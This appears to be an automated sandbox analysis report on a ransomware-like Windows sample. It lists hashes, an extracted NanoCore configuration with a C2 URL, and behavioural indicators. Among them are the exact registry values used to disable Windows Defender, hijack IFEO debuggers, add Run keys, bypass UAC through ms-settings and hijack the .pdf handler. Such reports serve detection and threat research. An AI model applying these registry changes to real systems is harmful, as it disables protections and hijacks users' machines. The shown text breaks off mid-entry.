Analysis
- max time kernel
150s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
20/07/2026, 11:45
Behavioral task
behavioral1
Sample
2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe
Resource
win10v2004-20260513-en
windows10-2004-x64
49 signatures
150 seconds
Behavioral task
behavioral2
Sample
2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
46 signatures
150 seconds
General
- Target 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe
- Size 50KB
- Sample260720-nw8a4abs2z
- SHA256 4cf26c6dd7a721615d924da9527d9588a6e24055bb43bfa2c37e0e356b1fd87d
- MD5 5f0be4ba023ea98e485316a1725f4f88
- SHA1 caeed09131bc04111838950238e6f4bbda452ef9
- SHA512 d1ac04d25346ab17d88e272ee56eb932d0e445551fdd0028e8092d27a87c52595706244d6b6549f0b788730c957480c373f851732d549603dfc354745e0bb3b1
- SSDEEP 768:XdbtbIFDwOKIZ6JrubaO1WJnuI/n/Rgr4oC1XXGblfppB93KFc5xR:tbOZwV18v1WNnGr4oEXGblfLD3ucV
- TLSH T1FC33E60477F94211F1BF4ABA8DB182119B31B8979C22D79E07D5058E1AB3780CEE8F67
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
Family
-
nanocore
Version
-
1.2.2.0
C2
-
http://hauntthehouse.io
Mutex
-
ac7e2f05-8df7-4c55-8841-78385f6bb064
Attributes
-
c2_url
http://hauntthehouse.io
-
default_group
xoilac
-
primary_dns
ali.ns.cloudflare.com
-
secondary_dns
woz.ns.cloudflare.com
-
version
1.2.2.0
Signatures
- Contains code to disable Windows Defender 2 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral1/memory/1876-0-0x0000000000770000-0x0000000000782000-memory.dmp disable_win_def behavioral1/files/0x0007000000024881-2355.dat disable_win_def -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe - Modifies security service 2 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Start = "4" 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe - Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Detects command variations typically used by ransomware 2 IoCs
resource yara_rule behavioral1/memory/1876-0-0x0000000000770000-0x0000000000782000-memory.dmp INDICATOR_SUSPICIOUS_GENRansomware behavioral1/files/0x0007000000024881-2355.dat INDICATOR_SUSPICIOUS_GENRansomware - Detects executables embedding registry key / value combination indicative of disabling Windows Defen 2 IoCs
resource yara_rule behavioral1/memory/1876-0-0x0000000000770000-0x0000000000782000-memory.dmp INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender behavioral1/files/0x0007000000024881-2355.dat INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 4716 powershell.exe - Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe - Disables Task Manager via registry modification
- Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe - Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe - Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 5588 netsh.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\International\Geo\Nation 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe - Disables service(s) 3 TTPs
- Drops startup file 64 IoCs
description ioc Process File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_46.pdf 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_66.pdf 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_133.pdf 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_157.pdf 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_3.pdf 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_33.pdf 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_59.pdf 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_83.pdf 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_102.pdf 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_150.pdf 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_54.pdf 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_31.pdf 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_33.pdf 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_53.pdf 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_98.pdf 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_147.pdf 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_168.pdf 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_55.pdf 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_87.pdf 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_147.pdf 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_166.pdf 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_182.pdf 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_52.pdf 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_55.pdf 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_73.pdf 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_77.pdf 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_115.pdf 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_125.pdf 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_161.pdf 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_5.pdf 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_70.pdf 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_105.pdf 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_108.pdf 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_131.pdf 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_139.pdf 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_150.pdf 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_13.pdf 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_28.pdf 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_46.pdf 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_79.pdf 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_89.pdf 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_191.pdf 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_195.pdf 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_2.pdf 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_40.pdf 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_58.pdf 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_88.pdf 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_111.pdf 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_156.pdf 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_171.pdf 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_49.pdf 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_81.pdf 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_126.pdf 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_22.pdf 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_26.pdf 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_29.pdf 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_30.pdf 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_38.pdf 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_57.pdf 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_99.pdf 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_118.pdf 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_27.pdf 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_21.pdf 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_25.pdf 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe - Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 4 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe - Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\svchost.exe 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Windows\system32\sysupdate.exe 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Windows\system32\sysupdate.exe 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe - Enumerates processes with tasklist 1 TTPs 1 IoCs
pid Process 2936 tasklist.exe - Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
pid Process 5116 wscript.exe 4672 wscript.exe - Sets desktop wallpaper using registry 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp" 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp" 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe - Launches sc.exe 12 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 3984 sc.exe 2632 sc.exe 1060 sc.exe 4932 sc.exe 3508 sc.exe 5460 sc.exe 4024 sc.exe 1904 sc.exe 1408 sc.exe 5468 sc.exe 1640 sc.exe 2852 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - Executes a command shell one-liner 1 TTPs 7 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 260 cmd.exe 6128 cmd.exe 1128 cmd.exe 4540 cmd.exe 4372 cmd.exe 2212 cmd.exe 4748 cmd.exe - System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
pid Process 2364 chrome.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier chrome.exe - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe - Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 3796 ipconfig.exe 728 NETSTAT.EXE - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 676 systeminfo.exe - Interacts with shadow copies 3 TTPs 3 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 1832 vssadmin.exe 788 vssadmin.exe 5164 vssadmin.exe - Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\Desktop\WallpaperStyle = "2" 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe - Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry chrome.exe Set value (int) \REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134290215720008468" chrome.exe - Modifies registry class 17 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\ms-settings\shell\open\command 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\ms-settings 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\ms-settings\shell\open\command\DelegateExecute 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe Key deleted \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\ms-settings\shell\open 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe Key deleted \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\ms-settings\shell 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\.pdf\ = "PDFBotnet" 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe\" \"%1\"" 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell 